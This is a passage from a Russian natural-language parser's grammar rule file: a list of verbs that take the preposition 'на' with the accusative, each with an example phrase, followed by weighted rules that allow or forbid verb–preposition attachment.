на склад rus_verbs:заявляться{}, // заявляться на любимую работу rus_verbs:наглядеться{}, // наглядеться на воробьев rus_verbs:хлопнуться{}, // хлопнуться на живот rus_verbs:забредать{}, // забредать на поляну rus_verbs:посягать{}, // посягать на исконные права собственности rus_verbs:сдвигать{}, // сдвигать на одну позицию rus_verbs:спрыгивать{}, // спрыгивать на землю rus_verbs:сдвигаться{}, // сдвигаться на две позиции rus_verbs:разделать{}, // разделать на орехи rus_verbs:разлагать{}, // разлагать на элементарные элементы rus_verbs:обрушивать{}, // обрушивать на головы врагов rus_verbs:натечь{}, // натечь на пол rus_verbs:политься{}, // вода польется на землю rus_verbs:успеть{}, // Они успеют на поезд. инфинитив:мигрировать{ вид:несоверш }, глагол:мигрировать{ вид:несоверш }, деепричастие:мигрируя{}, инфинитив:мигрировать{ вид:соверш }, глагол:мигрировать{ вид:соверш }, деепричастие:мигрировав{}, rus_verbs:двинуться{}, // Мы скоро двинемся на дачу. rus_verbs:подойти{}, // Он не подойдёт на должность секретаря. rus_verbs:потянуть{}, // Он не потянет на директора. rus_verbs:тянуть{}, // Он не тянет на директора. rus_verbs:перескакивать{}, // перескакивать с одного примера на другой rus_verbs:жаловаться{}, // Он жалуется на нездоровье. rus_verbs:издать{}, // издать на деньги спонсоров rus_verbs:показаться{}, // показаться на глаза rus_verbs:высаживать{}, // высаживать на необитаемый остров rus_verbs:вознестись{}, // вознестись на самую вершину славы rus_verbs:залить{}, // залить на youtube rus_verbs:закачать{}, // закачать на youtube rus_verbs:сыграть{}, // сыграть на деньги rus_verbs:экстраполировать{}, // Формулу можно экстраполировать на случай нескольких переменных инфинитив:экстраполироваться{ вид:несоверш}, // Ситуация легко экстраполируется на случай нескольких переменных глагол:экстраполироваться{ вид:несоверш}, инфинитив:экстраполироваться{ вид:соверш}, глагол:экстраполироваться{ вид:соверш}, деепричастие:экстраполируясь{}, инфинитив:акцентировать{вид:соверш}, // оратор акцентировал внимание слушателей на новый аспект проблемы глагол:акцентировать{вид:соверш}, инфинитив:акцентировать{вид:несоверш}, глагол:акцентировать{вид:несоверш}, прилагательное:акцентировавший{вид:несоверш}, //прилагательное:акцентировавший{вид:соверш}, прилагательное:акцентирующий{}, деепричастие:акцентировав{}, деепричастие:акцентируя{}, rus_verbs:бабахаться{}, // он бабахался на пол rus_verbs:бабахнуться{}, // мальчил бабахнулся на асфальт rus_verbs:батрачить{}, // Крестьяне батрачили на хозяина rus_verbs:бахаться{}, // Наездники бахались на землю rus_verbs:бахнуться{}, // Наездник опять бахнулся на землю rus_verbs:благословить{}, // батюшка благословил отрока на подвиг rus_verbs:благословлять{}, // батюшка благословляет отрока на подвиг rus_verbs:блевануть{}, // Он блеванул на землю rus_verbs:блевать{}, // Он блюет на землю rus_verbs:бухнуться{}, // Наездник бухнулся на землю rus_verbs:валить{}, // Ветер валил деревья на землю rus_verbs:спилить{}, // Спиленное дерево валится на землю rus_verbs:ввезти{}, // Предприятие ввезло товар на таможню rus_verbs:вдохновить{}, // Фильм вдохновил мальчика на поход в лес rus_verbs:вдохновиться{}, // Мальчик вдохновился на поход rus_verbs:вдохновлять{}, // Фильм вдохновляет на поход в лес rus_verbs:вестись{}, // Не ведись на эти уловки! rus_verbs:вешать{}, // Гости вешают одежду на вешалку rus_verbs:вешаться{}, // Одежда вешается на вешалки rus_verbs:вещать{}, // радиостанция вещает на всю страну rus_verbs:взбираться{}, // Туристы взбираются на заросший лесом холм rus_verbs:взбредать{}, // Что иногда взбредает на ум rus_verbs:взбрести{}, // Что-то взбрело на ум rus_verbs:взвалить{}, // Мама взвалила на свои плечи всё домашнее хозяйство rus_verbs:взваливаться{}, // Все домашнее хозяйство взваливается на мамины плечи rus_verbs:взваливать{}, // Не надо взваливать всё на мои плечи rus_verbs:взглянуть{}, // Кошка взглянула на мышку rus_verbs:взгромождать{}, // Мальчик взгромождает стул на стол rus_verbs:взгромождаться{}, // Мальчик взгромождается на стол rus_verbs:взгромоздить{}, // Мальчик взгромоздил стул на стол rus_verbs:взгромоздиться{}, // Мальчик взгромоздился на стул rus_verbs:взирать{}, // Очевидцы взирали на непонятный объект rus_verbs:взлетать{}, // Фабрика фейерверков взлетает на воздух rus_verbs:взлететь{}, // Фабрика фейерверков взлетела на воздух rus_verbs:взобраться{}, // Туристы взобрались на гору rus_verbs:взойти{}, // Туристы взошли на гору rus_verbs:взъесться{}, // Отец взъелся на непутевого сына rus_verbs:взъяриться{}, // Отец взъярился на непутевого сына rus_verbs:вкатить{}, // рабочие вкатили бочку на пандус rus_verbs:вкатывать{}, // рабочик вкатывают бочку на пандус rus_verbs:влиять{}, // Это решение влияет на всех игроков рынка rus_verbs:водворить{}, // водворить нарушителя на место rus_verbs:водвориться{}, // водвориться на свое место rus_verbs:водворять{}, // водворять вещь на свое место rus_verbs:водворяться{}, // водворяться на свое место rus_verbs:водружать{}, // водружать флаг на флагшток rus_verbs:водружаться{}, // Флаг водружается на флагшток rus_verbs:водрузить{}, // водрузить флаг на флагшток rus_verbs:водрузиться{}, // Флаг водрузился на вершину горы rus_verbs:воздействовать{}, // Излучение воздействует на кожу rus_verbs:воззреть{}, // воззреть на поле боя rus_verbs:воззриться{}, // воззриться на поле боя rus_verbs:возить{}, // возить туристов на гору rus_verbs:возлагать{}, // Многочисленные посетители возлагают цветы на могилу rus_verbs:возлагаться{}, // Ответственность возлагается на начальство rus_verbs:возлечь{}, // возлечь на лежанку rus_verbs:возложить{}, // возложить цветы на могилу поэта rus_verbs:вознести{}, // вознести кого-то на вершину славы rus_verbs:возноситься{}, // возносится на вершину успеха rus_verbs:возносить{}, // возносить счастливчика на вершину успеха rus_verbs:подниматься{}, // Мы поднимаемся на восьмой этаж rus_verbs:подняться{}, // Мы поднялись на восьмой этаж rus_verbs:вонять{}, // Кусок сыра воняет на всю округу rus_verbs:воодушевлять{}, // Идеалы воодушевляют на подвиги rus_verbs:воодушевляться{}, // Люди воодушевляются на подвиги rus_verbs:ворчать{}, // Старый пес ворчит на прохожих rus_verbs:воспринимать{}, // воспринимать сообщение на слух rus_verbs:восприниматься{}, // сообщение плохо воспринимается на слух rus_verbs:воспринять{}, // воспринять сообщение на слух rus_verbs:восприняться{}, // восприняться на слух rus_verbs:воссесть{}, // Коля воссел на трон rus_verbs:вправить{}, // вправить мозг на место rus_verbs:вправлять{}, // вправлять мозги на место rus_verbs:временить{}, // временить с выходом на пенсию rus_verbs:врубать{}, // врубать на полную мощность rus_verbs:врубить{}, // врубить на полную мощность rus_verbs:врубиться{}, // врубиться на полную мощность rus_verbs:врываться{}, // врываться на собрание rus_verbs:вскарабкаться{}, // вскарабкаться на утёс rus_verbs:вскарабкиваться{}, // вскарабкиваться на утёс rus_verbs:вскочить{}, // вскочить на ноги rus_verbs:всплывать{}, // всплывать на поверхность воды rus_verbs:всплыть{}, // всплыть на поверхность воды rus_verbs:вспрыгивать{}, // вспрыгивать на платформу rus_verbs:вспрыгнуть{}, // вспрыгнуть на платформу rus_verbs:встать{}, // встать на защиту чести и достоинства rus_verbs:вторгаться{}, // вторгаться на чужую территорию rus_verbs:вторгнуться{}, // вторгнуться на чужую территорию rus_verbs:въезжать{}, // въезжать на пандус rus_verbs:наябедничать{}, // наябедничать на соседа по парте rus_verbs:выблевать{}, // выблевать завтрак на пол rus_verbs:выблеваться{}, // выблеваться на пол rus_verbs:выблевывать{}, // выблевывать завтрак на пол rus_verbs:выблевываться{}, // выблевываться на пол rus_verbs:вывезти{}, // вывезти мусор на свалку rus_verbs:вывесить{}, // вывесить белье на просушку rus_verbs:вывести{}, // вывести собаку на прогулку rus_verbs:вывешивать{}, // вывешивать белье на веревку rus_verbs:вывозить{}, // вывозить детей на природу rus_verbs:вызывать{}, // Начальник вызывает на ковер rus_verbs:выйти{}, // выйти на свободу rus_verbs:выкладывать{}, // выкладывать на всеобщее обозрение rus_verbs:выкладываться{}, // выкладываться на всеобщее обозрение rus_verbs:выливать{}, // выливать на землю rus_verbs:выливаться{}, // выливаться на землю rus_verbs:вылить{}, // вылить жидкость на землю rus_verbs:вылиться{}, // Топливо вылилось на землю rus_verbs:выложить{}, // выложить на берег rus_verbs:выменивать{}, // выменивать золото на хлеб rus_verbs:вымениваться{}, // Золото выменивается на хлеб rus_verbs:выменять{}, // выменять золото на хлеб rus_verbs:выпадать{}, // снег выпадает на землю rus_verbs:выплевывать{}, // выплевывать на землю rus_verbs:выплевываться{}, // выплевываться на землю rus_verbs:выплескать{}, // выплескать на землю rus_verbs:выплескаться{}, // выплескаться на землю rus_verbs:выплескивать{}, // выплескивать на землю rus_verbs:выплескиваться{}, // выплескиваться на землю rus_verbs:выплывать{}, // выплывать на поверхность rus_verbs:выплыть{}, // выплыть на поверхность rus_verbs:выплюнуть{}, // выплюнуть на пол rus_verbs:выползать{}, // выползать на свежий воздух rus_verbs:выпроситься{}, // выпроситься на улицу rus_verbs:выпрыгивать{}, // выпрыгивать на свободу rus_verbs:выпрыгнуть{}, // выпрыгнуть на перрон rus_verbs:выпускать{}, // выпускать на свободу rus_verbs:выпустить{}, // выпустить на свободу rus_verbs:выпучивать{}, // выпучивать на кого-то глаза rus_verbs:выпучиваться{}, // глаза выпучиваются на кого-то rus_verbs:выпучить{}, // выпучить глаза на кого-то rus_verbs:выпучиться{}, // выпучиться на кого-то rus_verbs:выронить{}, // выронить на землю rus_verbs:высадить{}, // высадить на берег rus_verbs:высадиться{}, // высадиться на берег rus_verbs:высаживаться{}, // высаживаться на остров rus_verbs:выскальзывать{}, // выскальзывать на землю rus_verbs:выскочить{}, // выскочить на сцену rus_verbs:высморкаться{}, // высморкаться на землю rus_verbs:высморкнуться{}, // высморкнуться на землю rus_verbs:выставить{}, // выставить на всеобщее обозрение rus_verbs:выставиться{}, // выставиться на всеобщее обозрение rus_verbs:выставлять{}, // выставлять на всеобщее обозрение rus_verbs:выставляться{}, // выставляться на всеобщее обозрение инфинитив:высыпать{вид:соверш}, // высыпать на землю инфинитив:высыпать{вид:несоверш}, глагол:высыпать{вид:соверш}, глагол:высыпать{вид:несоверш}, деепричастие:высыпав{}, деепричастие:высыпая{}, прилагательное:высыпавший{вид:соверш}, //++прилагательное:высыпавший{вид:несоверш}, прилагательное:высыпающий{вид:несоверш}, rus_verbs:высыпаться{}, // высыпаться на землю rus_verbs:вытаращивать{}, // вытаращивать глаза на медведя rus_verbs:вытаращиваться{}, // вытаращиваться на медведя rus_verbs:вытаращить{}, // вытаращить глаза на медведя rus_verbs:вытаращиться{}, // вытаращиться на медведя rus_verbs:вытекать{}, // вытекать на землю rus_verbs:вытечь{}, // вытечь на землю rus_verbs:выучиваться{}, // выучиваться на кого-то rus_verbs:выучиться{}, // выучиться на кого-то rus_verbs:посмотреть{}, // посмотреть на экран rus_verbs:нашить{}, // нашить что-то на одежду rus_verbs:придти{}, // придти на помощь кому-то инфинитив:прийти{}, // прийти на помощь кому-то глагол:прийти{}, деепричастие:придя{}, // Придя на вокзал, он поспешно взял билеты. rus_verbs:поднять{}, // поднять на вершину rus_verbs:согласиться{}, // согласиться на ничью rus_verbs:послать{}, // послать на фронт rus_verbs:слать{}, // слать на фронт rus_verbs:надеяться{}, // надеяться на лучшее rus_verbs:крикнуть{}, // крикнуть на шалунов rus_verbs:пройти{}, // пройти на пляж rus_verbs:прислать{}, // прислать на экспертизу rus_verbs:жить{}, // жить на подачки rus_verbs:становиться{}, // становиться на ноги rus_verbs:наслать{}, // наслать на кого-то rus_verbs:принять{}, // принять на заметку rus_verbs:собираться{}, // собираться на экзамен rus_verbs:оставить{}, // оставить на всякий случай rus_verbs:звать{}, // звать на помощь rus_verbs:направиться{}, // направиться на прогулку rus_verbs:отвечать{}, // отвечать на звонки rus_verbs:отправиться{}, // отправиться на прогулку rus_verbs:поставить{}, // поставить на пол rus_verbs:обернуться{}, // обернуться на зов rus_verbs:отозваться{}, // отозваться на просьбу rus_verbs:закричать{}, // закричать на собаку rus_verbs:опустить{}, // опустить на землю rus_verbs:принести{}, // принести на пляж свой жезлонг rus_verbs:указать{}, // указать на дверь rus_verbs:ходить{}, // ходить на занятия rus_verbs:уставиться{}, // уставиться на листок rus_verbs:приходить{}, // приходить на экзамен rus_verbs:махнуть{}, // махнуть на пляж rus_verbs:явиться{}, // явиться на допрос rus_verbs:оглянуться{}, // оглянуться на дорогу rus_verbs:уехать{}, // уехать на заработки rus_verbs:повести{}, // повести на штурм rus_verbs:опуститься{}, // опуститься на колени //rus_verbs:передать{}, // передать на проверку rus_verbs:побежать{}, // побежать на занятия rus_verbs:прибыть{}, // прибыть на место службы rus_verbs:кричать{}, // кричать на медведя rus_verbs:стечь{}, // стечь на землю rus_verbs:обратить{}, // обратить на себя внимание rus_verbs:подать{}, // подать на пропитание rus_verbs:привести{}, // привести на съемки rus_verbs:испытывать{}, // испытывать на животных rus_verbs:перевести{}, // перевести на жену rus_verbs:купить{}, // купить на заемные деньги rus_verbs:собраться{}, // собраться на встречу rus_verbs:заглянуть{}, // заглянуть на огонёк rus_verbs:нажать{}, // нажать на рычаг rus_verbs:поспешить{}, // поспешить на праздник rus_verbs:перейти{}, // перейти на русский язык rus_verbs:поверить{}, // поверить на честное слово rus_verbs:глянуть{}, // глянуть на обложку rus_verbs:зайти{}, // зайти на огонёк rus_verbs:проходить{}, // проходить на сцену rus_verbs:глядеть{}, // глядеть на актрису //rus_verbs:решиться{}, // решиться на прыжок rus_verbs:пригласить{}, // пригласить на танец rus_verbs:позвать{}, // позвать на экзамен rus_verbs:усесться{}, // усесться на стул rus_verbs:поступить{}, // поступить на математический факультет rus_verbs:лечь{}, // лечь на живот rus_verbs:потянуться{}, // потянуться на юг rus_verbs:присесть{}, // присесть на корточки rus_verbs:наступить{}, // наступить на змею rus_verbs:заорать{}, // заорать на попрошаек rus_verbs:надеть{}, // надеть на голову rus_verbs:поглядеть{}, // поглядеть на девчонок rus_verbs:принимать{}, // принимать на гарантийное обслуживание rus_verbs:привезти{}, // привезти на испытания rus_verbs:рухнуть{}, // рухнуть на асфальт rus_verbs:пускать{}, // пускать на корм rus_verbs:отвести{}, // отвести на приём rus_verbs:отправить{}, // отправить на утилизацию rus_verbs:двигаться{}, // двигаться на восток rus_verbs:нести{}, // нести на пляж rus_verbs:падать{}, // падать на руки rus_verbs:откинуться{}, // откинуться на спинку кресла rus_verbs:рявкнуть{}, // рявкнуть на детей rus_verbs:получать{}, // получать на проживание rus_verbs:полезть{}, // полезть на рожон rus_verbs:направить{}, // направить на дообследование rus_verbs:приводить{}, // приводить на проверку rus_verbs:потребоваться{}, // потребоваться на замену rus_verbs:кинуться{}, // кинуться на нападавшего rus_verbs:учиться{}, // учиться на токаря rus_verbs:приподнять{}, // приподнять на один метр rus_verbs:налить{}, // налить на стол rus_verbs:играть{}, // играть на деньги rus_verbs:рассчитывать{}, // рассчитывать на подмогу rus_verbs:шепнуть{}, // шепнуть на ухо rus_verbs:швырнуть{}, // швырнуть на землю rus_verbs:прыгнуть{}, // прыгнуть на оленя rus_verbs:предлагать{}, // предлагать на выбор rus_verbs:садиться{}, // садиться на стул rus_verbs:лить{}, // лить на землю rus_verbs:испытать{}, // испытать на животных rus_verbs:фыркнуть{}, // фыркнуть на детеныша rus_verbs:годиться{}, // мясо годится на фарш rus_verbs:проверить{}, // проверить высказывание на истинность rus_verbs:откликнуться{}, // откликнуться на призывы rus_verbs:полагаться{}, // полагаться на интуицию rus_verbs:покоситься{}, // покоситься на соседа rus_verbs:повесить{}, // повесить на гвоздь инфинитив:походить{вид:соверш}, // походить на занятия глагол:походить{вид:соверш}, деепричастие:походив{}, прилагательное:походивший{}, rus_verbs:помчаться{}, // помчаться на экзамен rus_verbs:ставить{}, // ставить на контроль rus_verbs:свалиться{}, // свалиться на землю rus_verbs:валиться{}, // валиться на землю rus_verbs:подарить{}, // подарить на день рожденья rus_verbs:сбежать{}, // сбежать на необитаемый остров rus_verbs:стрелять{}, // стрелять на поражение rus_verbs:обращать{}, // обращать на себя внимание rus_verbs:наступать{}, // наступать на те же грабли rus_verbs:сбросить{}, // сбросить на землю rus_verbs:обидеться{}, // обидеться на друга rus_verbs:устроиться{}, // устроиться на стажировку rus_verbs:погрузиться{}, // погрузиться на большую глубину rus_verbs:течь{}, // течь на землю rus_verbs:отбросить{}, // отбросить на землю rus_verbs:метать{}, // метать на дно rus_verbs:пустить{}, // пустить на переплавку rus_verbs:прожить{}, // прожить на пособие rus_verbs:полететь{}, // полететь на континент rus_verbs:пропустить{}, // пропустить на сцену rus_verbs:указывать{}, // указывать на ошибку rus_verbs:наткнуться{}, // наткнуться на клад rus_verbs:рвануть{}, // рвануть на юг rus_verbs:ступать{}, // ступать на землю rus_verbs:спрыгнуть{}, // спрыгнуть на берег rus_verbs:заходить{}, // заходить на огонёк rus_verbs:нырнуть{}, // нырнуть на глубину rus_verbs:рвануться{}, // рвануться на свободу rus_verbs:натянуть{}, // натянуть на голову rus_verbs:забраться{}, // забраться на стол rus_verbs:помахать{}, // помахать на прощание rus_verbs:содержать{}, // содержать на спонсорскую помощь rus_verbs:приезжать{}, // приезжать на праздники rus_verbs:проникнуть{}, // проникнуть на территорию rus_verbs:подъехать{}, // подъехать на митинг rus_verbs:устремиться{}, // устремиться на волю rus_verbs:посадить{}, // посадить на стул rus_verbs:ринуться{}, // ринуться на голкипера rus_verbs:подвигнуть{}, // подвигнуть на подвиг rus_verbs:отдавать{}, // отдавать на перевоспитание rus_verbs:отложить{}, // отложить на черный день rus_verbs:убежать{}, // убежать на танцы rus_verbs:поднимать{}, // поднимать на верхний этаж rus_verbs:переходить{}, // переходить на цифровой сигнал rus_verbs:отослать{}, // отослать на переаттестацию rus_verbs:отодвинуть{}, // отодвинуть на другую половину стола rus_verbs:назначить{}, // назначить на должность rus_verbs:осесть{}, // осесть на дно rus_verbs:торопиться{}, // торопиться на экзамен rus_verbs:менять{}, // менять на еду rus_verbs:доставить{}, // доставить на шестой этаж rus_verbs:заслать{}, // заслать на проверку rus_verbs:дуть{}, // дуть на воду rus_verbs:сослать{}, // сослать на каторгу rus_verbs:останавливаться{}, // останавливаться на отдых rus_verbs:сдаваться{}, // сдаваться на милость победителя rus_verbs:сослаться{}, // сослаться на презумпцию невиновности rus_verbs:рассердиться{}, // рассердиться на дочь rus_verbs:кинуть{}, // кинуть на землю rus_verbs:расположиться{}, // расположиться на ночлег rus_verbs:осмелиться{}, // осмелиться на подлог rus_verbs:шептать{}, // шептать на ушко rus_verbs:уронить{}, // уронить на землю rus_verbs:откинуть{}, // откинуть на спинку кресла rus_verbs:перенести{}, // перенести на рабочий стол rus_verbs:сдаться{}, // сдаться на милость победителя rus_verbs:светить{}, // светить на дорогу rus_verbs:мчаться{}, // мчаться на бал rus_verbs:нестись{}, // нестись на свидание rus_verbs:поглядывать{}, // поглядывать на экран rus_verbs:орать{}, // орать на детей rus_verbs:уложить{}, // уложить на лопатки rus_verbs:решаться{}, // решаться на поступок rus_verbs:попадать{}, // попадать на карандаш rus_verbs:сплюнуть{}, // сплюнуть на землю rus_verbs:снимать{}, // снимать на телефон rus_verbs:опоздать{}, // опоздать на работу rus_verbs:посылать{}, // посылать на проверку rus_verbs:погнать{}, // погнать на пастбище rus_verbs:поступать{}, // поступать на кибернетический факультет rus_verbs:спускаться{}, // спускаться на уровень моря rus_verbs:усадить{}, // усадить на диван rus_verbs:проиграть{}, // проиграть на спор rus_verbs:прилететь{}, // прилететь на фестиваль rus_verbs:повалиться{}, // повалиться на спину rus_verbs:огрызнуться{}, // Собака огрызнулась на хозяина rus_verbs:задавать{}, // задавать на выходные rus_verbs:запасть{}, // запасть на девочку rus_verbs:лезть{}, // лезть на забор rus_verbs:потащить{}, // потащить на выборы rus_verbs:направляться{}, // направляться на экзамен rus_verbs:определять{}, // определять на вкус rus_verbs:поползти{}, // поползти на стену rus_verbs:поплыть{}, // поплыть на берег rus_verbs:залезть{}, // залезть на яблоню rus_verbs:сдать{}, // сдать на мясокомбинат rus_verbs:приземлиться{}, // приземлиться на дорогу rus_verbs:лаять{}, // лаять на прохожих rus_verbs:перевернуть{}, // перевернуть на бок rus_verbs:ловить{}, // ловить на живца rus_verbs:отнести{}, // отнести животное на хирургический стол rus_verbs:плюнуть{}, // плюнуть на условности rus_verbs:передавать{}, // передавать на проверку rus_verbs:нанять{}, // Босс нанял на работу еще несколько человек rus_verbs:разозлиться{}, // Папа разозлился на сына из-за плохих оценок по математике инфинитив:рассыпаться{вид:несоверш}, // рассыпаться на мелкие детали инфинитив:рассыпаться{вид:соверш}, глагол:рассыпаться{вид:несоверш}, глагол:рассыпаться{вид:соверш}, деепричастие:рассыпавшись{}, деепричастие:рассыпаясь{}, прилагательное:рассыпавшийся{вид:несоверш}, прилагательное:рассыпавшийся{вид:соверш}, прилагательное:рассыпающийся{}, rus_verbs:зарычать{}, // Медведица зарычала на медвежонка rus_verbs:призвать{}, // призвать на сборы rus_verbs:увезти{}, // увезти на дачу rus_verbs:содержаться{}, // содержаться на пожертвования rus_verbs:навести{}, // навести на скопление телескоп rus_verbs:отправляться{}, // отправляться на утилизацию rus_verbs:улечься{}, // улечься на животик rus_verbs:налететь{}, // налететь на препятствие rus_verbs:перевернуться{}, // перевернуться на спину rus_verbs:улететь{}, // улететь на родину rus_verbs:ложиться{}, // ложиться на бок rus_verbs:класть{}, // класть на место rus_verbs:отреагировать{}, // отреагировать на выступление rus_verbs:доставлять{}, // доставлять на дом rus_verbs:отнять{}, // отнять на благо правящей верхушки rus_verbs:ступить{}, // ступить на землю rus_verbs:сводить{}, // сводить на концерт знаменитой рок-группы rus_verbs:унести{}, // унести на работу rus_verbs:сходить{}, // сходить на концерт rus_verbs:потратить{}, // потратить на корм и наполнитель для туалета все деньги rus_verbs:соскочить{}, // соскочить на землю rus_verbs:пожаловаться{}, // пожаловаться на соседей rus_verbs:тащить{}, // тащить на замену rus_verbs:замахать{}, // замахать руками на паренька rus_verbs:заглядывать{}, // заглядывать на обед rus_verbs:соглашаться{}, // соглашаться на равный обмен rus_verbs:плюхнуться{}, // плюхнуться на мягкий пуфик rus_verbs:увести{}, // увести на осмотр rus_verbs:успевать{}, // успевать на контрольную работу rus_verbs:опрокинуть{}, // опрокинуть на себя rus_verbs:подавать{}, // подавать на апелляцию rus_verbs:прибежать{}, // прибежать на вокзал rus_verbs:отшвырнуть{}, // отшвырнуть на замлю rus_verbs:привлекать{}, // привлекать на свою сторону rus_verbs:опереться{}, // опереться на палку rus_verbs:перебраться{}, // перебраться на маленький островок rus_verbs:уговорить{}, // уговорить на новые траты rus_verbs:гулять{}, // гулять на спонсорские деньги rus_verbs:переводить{}, // переводить на другой путь rus_verbs:заколебаться{}, // заколебаться на один миг rus_verbs:зашептать{}, // зашептать на ушко rus_verbs:привстать{}, // привстать на цыпочки rus_verbs:хлынуть{}, // хлынуть на берег rus_verbs:наброситься{}, // наброситься на еду rus_verbs:напасть{}, // повстанцы, напавшие на конвой rus_verbs:убрать{}, // книга, убранная на полку rus_verbs:попасть{}, // путешественники, попавшие на ничейную территорию rus_verbs:засматриваться{}, // засматриваться на девчонок rus_verbs:застегнуться{}, // застегнуться на все пуговицы rus_verbs:провериться{}, // провериться на заболевания rus_verbs:проверяться{}, // проверяться на заболевания rus_verbs:тестировать{}, // тестировать на профпригодность rus_verbs:протестировать{}, // протестировать на профпригодность rus_verbs:уходить{}, // отец, уходящий на работу rus_verbs:налипнуть{}, // снег, налипший на провода rus_verbs:налипать{}, // снег, налипающий на провода rus_verbs:улетать{}, // Многие птицы улетают осенью на юг. rus_verbs:поехать{}, // она поехала на встречу с заказчиком rus_verbs:переключать{}, // переключать на резервную линию rus_verbs:переключаться{}, // переключаться на резервную линию rus_verbs:подписаться{}, // подписаться на обновление rus_verbs:нанести{}, // нанести на кожу rus_verbs:нарываться{}, // нарываться на неприятности rus_verbs:выводить{}, // выводить на орбиту rus_verbs:вернуться{}, // вернуться на родину rus_verbs:возвращаться{}, // возвращаться на родину прилагательное:падкий{}, // Он падок на деньги. прилагательное:обиженный{}, // Он обижен на отца. rus_verbs:косить{}, // Он косит на оба глаза. rus_verbs:закрыть{}, // Он забыл закрыть дверь на замок. прилагательное:готовый{}, // Он готов на всякие жертвы. rus_verbs:говорить{}, // Он говорит на скользкую тему. прилагательное:глухой{}, // Он глух на одно ухо. rus_verbs:взять{}, // Он взял ребёнка себе на колени. rus_verbs:оказывать{}, // Лекарство не оказывало на него никакого действия. rus_verbs:вести{}, // Лестница ведёт на третий этаж. rus_verbs:уполномочивать{}, // уполномочивать на что-либо глагол:спешить{ вид:несоверш }, // Я спешу на поезд. rus_verbs:брать{}, // Я беру всю ответственность на себя. rus_verbs:произвести{}, // Это произвело на меня глубокое впечатление. rus_verbs:употребить{}, // Эти деньги можно употребить на ремонт фабрики. rus_verbs:наводить{}, // Эта песня наводит на меня сон и скуку. rus_verbs:разбираться{}, // Эта машина разбирается на части. rus_verbs:оказать{}, // Эта книга оказала на меня большое влияние. rus_verbs:разбить{}, // Учитель разбил учеников на несколько групп. rus_verbs:отразиться{}, // Усиленная работа отразилась на его здоровье. rus_verbs:перегрузить{}, // Уголь надо перегрузить на другое судно. rus_verbs:делиться{}, // Тридцать делится на пять без остатка. rus_verbs:удаляться{}, // Суд удаляется на совещание. rus_verbs:показывать{}, // Стрелка компаса всегда показывает на север. rus_verbs:сохранить{}, // Сохраните это на память обо мне. rus_verbs:уезжать{}, // Сейчас все студенты уезжают на экскурсию. rus_verbs:лететь{}, // Самолёт летит на север. rus_verbs:бить{}, // Ружьё бьёт на пятьсот метров. // rus_verbs:прийтись{}, // Пятое число пришлось на субботу. rus_verbs:вынести{}, // Они вынесли из лодки на берег все вещи. rus_verbs:смотреть{}, // Она смотрит на нас из окна. rus_verbs:отдать{}, // Она отдала мне деньги на сохранение. rus_verbs:налюбоваться{}, // Не могу налюбоваться на картину. rus_verbs:любоваться{}, // гости любовались на картину rus_verbs:попробовать{}, // Дайте мне попробовать на ощупь. прилагательное:действительный{}, // Прививка оспы действительна только на три года. rus_verbs:спуститься{}, // На город спустился смог прилагательное:нечистый{}, // Он нечист на руку. прилагательное:неспособный{}, // Он неспособен на такую низость. прилагательное:злой{}, // кот очень зол на хозяина rus_verbs:пойти{}, // Девочка не пошла на урок физультуры rus_verbs:прибывать{}, // мой поезд прибывает на первый путь rus_verbs:застегиваться{}, // пальто застегивается на двадцать одну пуговицу rus_verbs:идти{}, // Дело идёт на лад. rus_verbs:лазить{}, // Он лазил на чердак. rus_verbs:поддаваться{}, // Он легко поддаётся на уговоры. // rus_verbs:действовать{}, // действующий на нервы rus_verbs:выходить{}, // Балкон выходит на площадь. rus_verbs:работать{}, // Время работает на нас. глагол:написать{aux stress="напис^ать"}, // Он написал музыку на слова Пушкина. rus_verbs:бросить{}, // Они бросили все силы на строительство. // глагол:разрезать{aux stress="разр^езать"}, глагол:разрезать{aux stress="разрез^ать"}, // Она разрезала пирог на шесть кусков. rus_verbs:броситься{}, // Она радостно бросилась мне на шею. rus_verbs:оправдать{}, // Она оправдала неявку на занятия болезнью. rus_verbs:ответить{}, // Она не ответила на мой поклон. rus_verbs:нашивать{}, // Она нашивала заплату на локоть. rus_verbs:молиться{}, // Она молится на свою мать. rus_verbs:запереть{}, // Она заперла дверь на замок. rus_verbs:заявить{}, // Она заявила свои права на наследство. rus_verbs:уйти{}, // Все деньги ушли на путешествие. rus_verbs:вступить{}, // Водолаз вступил на берег. rus_verbs:сойти{}, // Ночь сошла на землю. rus_verbs:приехать{}, // Мы приехали на вокзал слишком рано. rus_verbs:рыдать{}, // Не рыдай так безумно над ним. rus_verbs:подписать{}, // Не забудьте подписать меня на газету. rus_verbs:держать{}, // Наш пароход держал курс прямо на север. rus_verbs:свезти{}, // На выставку свезли экспонаты со всего мира. rus_verbs:ехать{}, // Мы сейчас едем на завод. rus_verbs:выбросить{}, // Волнами лодку выбросило на берег. ГЛ_ИНФ(сесть), // сесть на снег ГЛ_ИНФ(записаться), ГЛ_ИНФ(положить) // положи книгу на стол } #endregion VerbList // Чтобы разрешить связывание в паттернах типа: залить на youtube fact гл_предл { if context { Гл_НА_Вин предлог:на{} @regex("[a-z]+[0-9]*") } then return true } fact гл_предл { if context { глагол:купить{} предлог:на{} 'деньги'{падеж:вин} } then return true } fact гл_предл { if context { Гл_НА_Вин предлог:на{} *:*{ падеж:вин } } then return true } // смещаться на несколько миллиметров fact гл_предл { if context { Гл_НА_Вин предлог:на{} наречие:*{} } then return true } // партия взяла на себя нереалистичные обязательства fact гл_предл { if context { глагол:взять{} предлог:на{} 'себя'{падеж:вин} } then return true } #endregion ВИНИТЕЛЬНЫЙ // Все остальные варианты с предлогом 'НА' по умолчанию запрещаем. fact гл_предл { if context { * предлог:на{} *:*{ падеж:предл } } then return false,-3 } fact гл_предл { if context { * предлог:на{} *:*{ падеж:мест } } then return false,-3 } fact гл_предл { if context { * предлог:на{} *:*{ падеж:вин } } then return false,-4 } // Этот вариант нужен для обработки конструкций с числительными: // Президентские выборы разделили Венесуэлу на два непримиримых лагеря fact гл_предл { if context { * предлог:на{} *:*{ падеж:род } } then return false,-4 } // Продавать на eBay fact гл_предл { if context { * предлог:на{} * } then return false,-6 } #endregion Предлог_НА #region Предлог_С // ------------- ПРЕДЛОГ 'С' ----------------- // У этого предлога предпочтительная семантика привязывает его обычно к существительному. // Поэтому запрещаем по умолчанию его привязку к глаголам, а разрешенные глаголы перечислим. #region ТВОРИТЕЛЬНЫЙ wordentry_set Гл_С_Твор={ rus_verbs:помогать{}, // будет готов помогать врачам в онкологическом центре с постановкой верных диагнозов rus_verbs:перепихнуться{}, // неужели ты не хочешь со мной перепихнуться rus_verbs:забраться{}, rus_verbs:ДРАТЬСЯ{}, // Мои же собственные ратники забросали бы 